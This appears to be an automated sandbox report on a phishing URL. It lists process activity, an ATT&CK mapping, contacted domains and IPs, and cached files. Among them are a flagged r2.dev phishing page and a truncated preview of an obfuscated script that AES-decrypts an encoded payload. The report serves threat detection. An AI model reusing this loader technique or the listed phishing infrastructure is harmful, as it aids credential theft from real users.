Source: unknown	Network traffic detected: HTTP traffic on port 54003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54028 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir2240_968789158

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2240_968789158

Source: classification engine

Classification label: mal68.phis.win@19/35@46/313

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1904,i,9929307845595884645,8553206587332525531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=2024 /prefetch:11
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://publizr.com/alliedcon/allied-construction"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1904,i,9929307845595884645,8553206587332525531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=2024 /prefetch:11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://publizr.com/alliedcon/allied-construction	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.css	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/swfobject/2.2/swfobject.min.js	0%	Avira URL Cloud	safe
https://wurfl.io/async-detect	0%	Avira URL Cloud	safe
https://wurfl.io/wurfl.js	0%	Avira URL Cloud	safe
https://web.wurfl.io/async-detect	0%	Avira URL Cloud	safe
https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=blD73d2U%2FEGkbFx90CQmavvq4%2FhwSOb6TSJE8ixoEpFqRkffu3OQrgJ%2FrlbjEqN2Lait2Y%2BgH%2FAennKvoZDTIgqc%2FKSOmN6ohTTatz3y9q%2BeYdNtmOFUUL%2FfjVki3HnmkuKMDE1J56AMfA%3D%3D	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=VliqJAtyBwQnbAp5gOlLSTaqDn7CMIwKsLQ2HxuW1KHBmBSJy%2BD5j7bfZlB%2BMxuXccy5rZmBSwkvKKX5tbk4t%2FnQfBUg1UhWw4RbuaKPbFX0smaUIvzgAp%2FTH6PD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.1.229	true	false	high
host9.scientiamobile.com	70.42.150.198	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
wurfl.io	3.248.16.23	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
o.createyourmagazine.com	104.21.48.1	true	false	high
publizr.com	104.26.15.246	true	false	high
pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev	162.159.140.237	true	true	unknown
googleads.g.doubleclick.net	142.250.185.162	true	false	high
mircorngroup.com	66.96.130.86	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
wicked.bigpoliceman.com	172.67.143.150	true	false	high
www.google.com	142.250.186.100	true	false	high
api.ipify.org	104.26.13.205	true	false	high
web.wurfl.io	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/swfobject/2.2/swfobject.min.js	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.css	false	Avira URL Cloud: safe	unknown
https://wurfl.io/async-detect	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=VliqJAtyBwQnbAp5gOlLSTaqDn7CMIwKsLQ2HxuW1KHBmBSJy%2BD5j7bfZlB%2BMxuXccy5rZmBSwkvKKX5tbk4t%2FnQfBUg1UhWw4RbuaKPbFX0smaUIvzgAp%2FTH6PD	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js	false	Avira URL Cloud: safe	unknown
https://web.wurfl.io/async-detect	false	Avira URL Cloud: safe	unknown
https://publizr.com/alliedcon/allied-construction?html=true#/0/	false		unknown
https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#9{EMAIL}	true		unknown
https://a.nel.cloudflare.com/report/v4?s=blD73d2U%2FEGkbFx90CQmavvq4%2FhwSOb6TSJE8ixoEpFqRkffu3OQrgJ%2FrlbjEqN2Lait2Y%2BgH%2FAennKvoZDTIgqc%2FKSOmN6ohTTatz3y9q%2BeYdNtmOFUUL%2FfjVki3HnmkuKMDE1J56AMfA%3D%3D	false	Avira URL Cloud: safe	unknown
https://wurfl.io/wurfl.js	false	Avira URL Cloud: safe	unknown
https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#4{EMAIL}	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	o.createyourmagazine.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.206	unknown	United States	15169	GOOGLEUS	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
162.159.140.237	pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev	United States	13335	CLOUDFLARENETUS	true
142.250.186.174	unknown	United States	15169	GOOGLEUS	false
173.194.76.84	unknown	United States	15169	GOOGLEUS	false
142.250.185.163	unknown	United States	15169	GOOGLEUS	false
142.250.185.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.217.18.10	unknown	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
66.96.130.86	mircorngroup.com	United States	29873	BIZLAND-SDUS	false
172.217.18.3	unknown	United States	15169	GOOGLEUS	false
216.58.206.42	unknown	United States	15169	GOOGLEUS	false
3.248.16.23	wurfl.io	United States	16509	AMAZON-02US	false
142.250.181.228	unknown	United States	15169	GOOGLEUS	false
104.26.15.246	publizr.com	United States	13335	CLOUDFLARENETUS	false
172.67.72.60	unknown	United States	13335	CLOUDFLARENETUS	false
52.215.108.222	unknown	United States	16509	AMAZON-02US	false
142.250.184.238	unknown	United States	15169	GOOGLEUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
216.58.212.162	unknown	United States	15169	GOOGLEUS	false
70.42.150.198	host9.scientiamobile.com	United States	10913	INTERNAP-BLKUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.143.150	wicked.bigpoliceman.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.24

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633724
Start date and time:	2025-03-10 14:37:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://publizr.com/alliedcon/allied-construction
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@19/35@46/313

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.64.149.23, 104.18.38.233, 142.250.184.238, 142.250.185.163
Excluded domains from analysis (whitelisted): crt.comodoca.com.cdn.cloudflare.net, clients2.google.com, clientservices.googleapis.com, clients.l.google.com, crt.comodoca.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://publizr.com/alliedcon/allied-construction

Created / dropped Files

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	unknown
URL:	https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20513), with CRLF line terminators
Category:	downloaded
Size (bytes):	21228
Entropy (8bit):	5.7164637039134725
Encrypted:	false
SSDEEP:
MD5:	B7E90A130D46A615AEE005FC1850FB9D
SHA1:	901DB97341FB3B48C1BC9D9894942675E4B0BC21
SHA-256:	0759E6E42C5140DB08B9FCF2D302AE7215F8CC8D51FCD915237C2093A528D41D
SHA-512:	E3B2DBD81DE8A0EBD48D982D595A0C54AA4C5135DE16537317678A284E7B7516F22AFFC287DD402FC3FE14D8D294FA3BEF9A0CA9B29B48BCCD404F3CD827C437
Malicious:	false
Reputation:	unknown
URL:	https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js
Preview:	..function decstr(encryptedString, key) {.. const encryptedData = CryptoJS.enc.Base64.parse(encryptedString);.... const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4));.... const ciphertext = CryptoJS.lib.WordArray.create(.. encryptedData.words.slice(4).. );.... const hashedKey = CryptoJS.SHA256(key);.. const aesKey = CryptoJS.lib.WordArray.create(hashedKey.words.slice(0, 8));.... const decrypted = CryptoJS.AES.decrypt({ ciphertext: ciphertext }, aesKey, {.. iv: iv,.. mode: CryptoJS.mode.CBC,.. padding: CryptoJS.pad.Pkcs7,.. });.... return decrypted.toString(CryptoJS.enc.Utf8);..}.......... let ballerina = decstr(atob("RUNTcnY3T2ZtRjdxaW0rOGZyRE00MFYyc3RpOFV1TVduZFpWSnJ3a1UwWVRDcjlZUzhxSVViUjh4NnRQYVhIdXh4QnU4M1lXTWVINHg4eGRJcDhWSzMwMndIM0I1b1VtbFlDQ3NtOUdXVlBqR1JPUTNKQVI5UW8rS09jWmNXRnVic2dtcXl2S1d3K21HR0xyaWVMendxTkxOSG9zM3NMQ1VaZlA5elpvVVZhVTVBbCtjaHdqU0hwaTZaVG0rdnVCMFN1N2FTdExDU2RQU0xYaGsvYklpNVNWb3BVTUYwelFLNWFQeGROOVlVc0F1R0NHeUxSVkVrc

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.3772781309874365
Encrypted:	false
SSDEEP:
MD5:	748997A94B4561E098C9BF851F3ACAA8
SHA1:	576985670D9B0EFA68B1C158D8EF6ABF99AA2D2B
SHA-256:	2FCCA67B40FC07D947B320520772E3C622D12F30126278053B34B1A10508B175
SHA-512:	255F491F4F14A2BB85DB9592B64F4C6264DB06FCCFEE6BE52437755C043C1B57334D81028740949E98939203009301EBB4FB0850D725782994FE8D8D8FAA3FEA
Malicious:	false
Reputation:	unknown
Preview:	{"ip":"173.70.251.111"}

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9211), with no line terminators
Category:	downloaded
Size (bytes):	9211
Entropy (8bit):	5.4619660985856004
Encrypted:	false
SSDEEP:
MD5:	E6A40488A5F5774D02C06D0787EF01D8
SHA1:	B15E42BC41917B9454C76FCEEDB4368F60DE90C2
SHA-256:	A18CBDBB0FBB733D7F4CBA5D2AFD6B2706E3F141C743F491057E5800368CD8E5
SHA-512:	20D8DC726F9F7CC043EEBA28A611E5B8DAEAC17D132F36521143D7DA89B124FEFC868F076F2988B5B71D8771EF8339DBC5E061C1CBAA77A067901BDD5DE6F5A6
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/swfobject/2.2/swfobject.min.js
Preview:	var swfobject=function(){function e(){if(!J){try{var e=I.getElementsByTagName("body")[0].appendChild(g("span"));e.parentNode.removeChild(e)}catch(t){return}J=!0;for(var i=B.length,n=0;i>n;n++)B[n]()}}function t(e){J?e():B[B.length]=e}function i(e){if(typeof D.addEventListener!=k)D.addEventListener("load",e,!1);else if(typeof I.addEventListener!=k)I.addEventListener("load",e,!1);else if(typeof D.attachEvent!=k)y(D,"onload",e);else if("function"==typeof D.onload){var t=D.onload;D.onload=function(){t(),e()}}else D.onload=e}function n(){G?r():s()}function r(){var e=I.getElementsByTagName("body")[0],t=g(T);t.setAttribute("type",M);var i=e.appendChild(t);if(i){var n=0;(function(){if(typeof i.GetVariable!=k){var r=i.GetVariable("$version");r&&(r=r.split(" ")[1].split(","),W.pv=[parseInt(r[0],10),parseInt(r[1],10),parseInt(r[2],10)])}else if(10>n)return n++,setTimeout(arguments.callee,10),void 0;e.removeChild(t),i=null,s()})()}else s()}function s(){var e=j.length;if(e>0)for(var t=0;e>t;t++){va

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 576 x 480, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	11362
Entropy (8bit):	7.882772408846647
Encrypted:	false
SSDEEP:
MD5:	2197B62B12D7381A19D7F47C667E60A0
SHA1:	702D2A81F02507B4F05358CAEA5FD2A8A2C9F040
SHA-256:	BC08EB4403332A785506B21DBB99671BF86FEC4C9362B1CBD693C50C398F4F04
SHA-512:	FFF0A5397DFB6A9B0A311F38E6E4F57FCC5CAE024AE570E796FB2E7C1BD60C3C2096C29E3B73DB85121EDA0084B7DFB8F8AF73EB038A1F8530F9236753925968
Malicious:	false
Reputation:	unknown
URL:	https://o.createyourmagazine.com/vAjrRAMzKnhVBrIdu5lnG_hv7EyTYrHL1pPFDDmPTwQ
Preview:	.PNG........IHDR...@.........z."w....gAMA......a.....sRGB...,.... cHRM..z&..............u0...`..:....p..Q<....PLTE............$$$+++333<<<CCCLLLTTT\\\ccclllttt{{{.s.....u..\|.....................................#..-..7..;..=..#..$..,..&..,..3..4..:..;..=..G..L..P..B..C..K..K..P..]..D..G..M..L..T..Q..T..Z..^..]..e..d..i..i..g..e..k..k..s..r..u..v..z..~..{..}...................................................................................................................................................................}.F.....pHYs..=\..=\.b ~!..*.IDATx......%.........a...........Nf $..mY.e2I'!$.;!.-)Y30@K...G.?.{.s.....t.I....l.%....>.Hr2...9...A...@....... ..A...@... ... ..A....... ... ..@....... ..A...@...k.......w; 8..Qqo.)....?i.......r3.WSw)zc....z3.r..(........F.'.c.....d.\.b.:./....l..-O&..3....hYn.....z.......tsU.&....S.i...9...3..}..J.Oz...."h.w...Si.}.U.Z....G..=..[.$...2.h8..v.S.rW+.U...nJ..q.....z.F.....a....jo..e2...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	81
Entropy (8bit):	4.213765628447698
Encrypted:	false
SSDEEP:
MD5:	8BB76CC0F03CF3F036441B1389029702
SHA1:	B8544B8D10A498D4236321CCB8396DE29FCC8B8B
SHA-256:	0EADACB7E76A1D98675382356018F13A0BE8263DBC4D1A26CEA375492D930589
SHA-512:	16F7424EC40801CBA50778EB85865DD7D1CF564D1D62291FD963BFAC4E50017485AEDF6DD4CD90B15304F5F3E29E09BE71CA79B5E80DAF80B1B7479629B17E4F
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/favicon.ico
Preview:	Requested organization doesn't have public publications available at this moment.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	603
Entropy (8bit):	6.475329753840984
Encrypted:	false
SSDEEP:
MD5:	C9674A61F8385B59D024A8263875FA35
SHA1:	6EF70AC3FF1E3C821191953E0CA0C0AB11C4D24E
SHA-256:	75638E2A7B06AEE9AE74A6BEB67CAB93A51EA5DE6F5D21DCC29C1AA9E17FDD3F
SHA-512:	1163426CF4A6361C27081B010EDAEFE562B507D6F3640B8A419789B8336E904F53D81FCC3DFD09456EE8022324C6A891C09368D2EF191235CCCADF1D108E35EB
Malicious:	false
Reputation:	unknown
Preview:	.?..B!..C.....................u..........+hKFadndDEbaDIFiuh6oJD_tzuBm8gbjJ-klWExfoFAs......`......i..-.....+vAjrRAMzKnhVBrIdu5lnG_hv7EyTYrHL1pPFDDmPTwQ.,b.`......@........+GaMYTv7o548gK86daDp7ej_h862T30vQFt3Pp0zkRNE..7.`......3........g..G..=...#........g..G..=..."...............I..9..H...=https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html.G............r.......E.....g..G..=... .E..GET YOUR FILES......+GaMYTv7o548gK86daDp7ej_h862T30vQFt3Pp0zkRNE..7.`......3........g..G..=...!.....g..G..=... .....,...,.2..>.....3.....'''..'''....Allied Construction.....g....D..T

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4055)
Category:	downloaded
Size (bytes):	159608
Entropy (8bit):	5.603842957572682
Encrypted:	false
SSDEEP:
MD5:	EAD1C900C95B169FCFED6080276B3115
SHA1:	CBD6F3BCDF29A123C620E015EA4CEDAC33C5B13F
SHA-256:	ECFCB125AD3FA597B81B65F988FF6C374F64EE52BCF19700F2975A3781C1BEBA
SHA-512:	C918BD04DA232781B16726D7C2F498056C0D9D6A16E80BC9C00622A5679FF76237405923F394AC74B27DB83B7DA3EF9D1E9CDAF44E56CD7912C010679B3249EE
Malicious:	false
Reputation:	unknown
URL:	https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
Preview:	(function(sttc){'use strict';var aa=Object.defineProperty,ba=globalThis,ca=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",da={},ea={};function fa(a,b,c){if(!c\|\|a!=null){c=ea[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}} .function ha(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var e=d[0],f;!a&&e in da?f=da:f=ba;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ca&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?aa(da,d,{configurable:!0,writable:!0,value:b}):b!==c&&(ea[d]===void 0&&(a=Math.random()1E9>>>0,ea[d]=ca?ba.Symbol(d):"$jscp$"+a+"$"+d),aa(f,ea[d],{configurable:!0,writable:!0,value:b})))}}ha("Symbol.dispose",function(a){return a?a:Symbol("Symbol.dispose")},"es_next");/ . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var p=this\|\|self;function ia(a){a=a.split(".");for(var b=p,c=0;c<a.length;c++)if(b=b[a[c]],b==null)return null;return b}function ja(a){var b=typeof a;return b=="object"&&a!=n

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	6017
Entropy (8bit):	7.962998679681985
Encrypted:	false
SSDEEP:
MD5:	76793BA76162EEF4D6F04B200B15C83B
SHA1:	24FBB884A37C5C118677F1C5D4BA40178EBEC884
SHA-256:	E82F380E9410219F8BE0599F2E56392E4494F8F1E885CB60CAD03B3CE181370A
SHA-512:	90739C18C3041411F0C796FD147AE5972CF3BF5DCF98131DA2F88BCEC8F60942F7B5AEB0D302576CF35B4D87EF0061C7E5EA61D3C5BF8F272A41A06A8DB04ACD
Malicious:	false
Reputation:	unknown
URL:	https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css
Preview:	.VhDT.z..!...+.....n..c.s.....D...!..O....[4.U.w........;...s.Oo.d...1<`F...\|....}....Bq.H:.../7].U]7~.......h+.A.0..y.v....cY.b.N._.~....i..W.~y.....z..L.9."..g..9.iQm....W..{..'3..U.7._(`..m.C.yJ....^...._...._&.......O....gDo.....T..$....'......\|..o_......5........'..F..~......>.K.D.o..o..K...[,.c.h.a.g.o._.]..)..c..O.....W.UW_......os~N.I&. .i.....o..6...........\|_'x.5...p)q......v....$.....a.~......Q...../..Jjb..0....X. .t./.......f.g...}......E......\|"....=.........q.a...[v.n.>._J....~...i..;w..9.......Q..1..^6..+.sk.;S.\|/./7.l8m....g..W.}".h...OH..Y....\|X.]vz"^...+.7...(...K%._#...e.Lk..2......o.t.....e....~...4.emQ.....g..g.~^...5........Q9..b..`..#.#.C~....L,...p.!."U.....F...`..F...<.>QMTIq.T......#.Q....[......../P_.......m.5.p28..$.r.VP.n.q..%(..n.Gl..-...x...?.['0.?.s.%.ri.3..o....f.g........N....>.q....%.O.35..n.+py-.i}...=..`.,..tGNOw...#..%../K..q...r?..j$.".d...;cW.=...A..0.O..~....&....{._.Y'Y..y..,....cY....f.3

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (4303)
Category:	downloaded
Size (bytes):	4768
Entropy (8bit):	5.378422341052939
Encrypted:	false
SSDEEP:
MD5:	1B091891A4E762B0B2DE53BA7DCF7A84
SHA1:	BEA23910712CD7EC76665082B056581567EF888C
SHA-256:	96A090B2C5210F6141FBA2A3B18B567842A3D9CB7B04C82C127BB89407FF93CD
SHA-512:	D5A88E18ECA7EB9623B1C037964DE8F078AEF458AE699391AFF6E687C632ACCEDAB6A0C75E7A0B68536F9BEA8C01E625CEFA45403402C11DF355DE4B3C97A985
Malicious:	false
Reputation:	unknown
URL:	https://wurfl.io/wurfl.js
Preview:	// This file is generated dynamically per-request and cannot be used directly..// To use WURFL.js, please see the documentation at https://web.wurfl.io/#wurfl-js.//.// Copyright 2025 - ScientiaMobile, Inc., Reston, VA.// WURFL Device Detection.// Terms of service:.// https://www.scientiamobile.com/terms-of-service-wurfl-js-lite/.//.// For improved iPhone/iPad detection, upgrade to WURFL.js Business Edition:.// https://www.scientiamobile.com/products/wurfl-js/..var WURFL={complete_device_name:"Google Chrome",form_factor:"Desktop",is_mobile:!1},WurflJsUACHResolver,wurfl_debug=!1,wurfljs_host="https://wurfl.io",wurfljs_cache_ttl=6048e5;/! WURFL.js-BE 2024-10-02 [65a35e0] /WurflJsUACHResolver=function(e,t,n,s){function c(){m("WurflJSDetectionComplete",f())}function v(e){e instanceof SecurityPolicyViolationEvent&&e.blockedURI===l&&(e=new URL(l).origin,console.warn('WURFL.js was blocked by your Content-Security-Policy, please allow: "connect-src '+e+'"'))}var h=t+"/65a35e0",o=e,u=s,a=o.do

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	unknown
URL:	https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
